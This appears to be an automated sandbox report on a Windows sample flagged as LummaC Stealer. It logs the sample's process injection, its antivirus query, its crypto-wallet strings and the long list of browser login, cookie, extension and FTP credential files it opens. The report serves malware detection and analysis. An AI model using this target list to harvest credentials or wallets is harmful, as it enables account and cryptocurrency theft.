Code function: 2_2_00E1F1B4 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

2_2_00E1F1B4

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Memory written: C:\Users\user\Desktop\SoftWare(2).exe1.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Process created: C:\Users\user\Desktop\SoftWare(2).exe1.exe "C:\Users\user\Desktop\SoftWare(2).exe1.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,	2_2_00E088F6
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: EnumSystemLocalesW,	2_2_00E088AB
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: EnumSystemLocalesW,	2_2_00E041F7
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00E0899D
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,	2_2_00E08AA3
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00E08238
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,	2_2_00E03CFC
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: EnumSystemLocalesW,	2_2_00E08489
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00E08524
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,	2_2_00E087D6
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: EnumSystemLocalesW,	2_2_00E08777
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,	4_2_00E088F6
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: EnumSystemLocalesW,	4_2_00E088AB
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: EnumSystemLocalesW,	4_2_00E041F7
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_00E0899D
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,	4_2_00E08AA3
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_00E08238
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,	4_2_00E03CFC
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: EnumSystemLocalesW,	4_2_00E08489
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_00E08524
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: GetLocaleInfoW,	4_2_00E087D6
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: EnumSystemLocalesW,	4_2_00E08777

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 2_2_00DF7827 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_00DF7827

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SoftWare(2).exe1.exe PID: 7352, type: MEMORYSTR
Source: Yara match	File source: 4.2.SoftWare(2).exe1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SoftWare(2).exe1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2594571322.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SoftWare(2).exe1.exe, 00000004.00000003.1485921377.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: SoftWare(2).exe1.exe, 00000004.00000003.1485921377.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: SoftWare(2).exe1.exe, 00000004.00000003.1485921377.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: SoftWare(2).exe1.exe, 00000004.00000003.1461228467.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx LibertyE
Source: SoftWare(2).exe1.exe, 00000004.00000003.1461280809.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: SoftWare(2).exe1.exe, 00000004.00000003.1461385869.0000000000A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: SoftWare(2).exe1.exe, 00000004.00000003.1484920771.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance#
Source: SoftWare(2).exe1.exe, 00000004.00000003.1485921377.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: SoftWare(2).exe1.exe, 00000004.00000003.1461228467.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: SoftWare(2).exe1.exe, 00000004.00000003.1461385869.0000000000A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
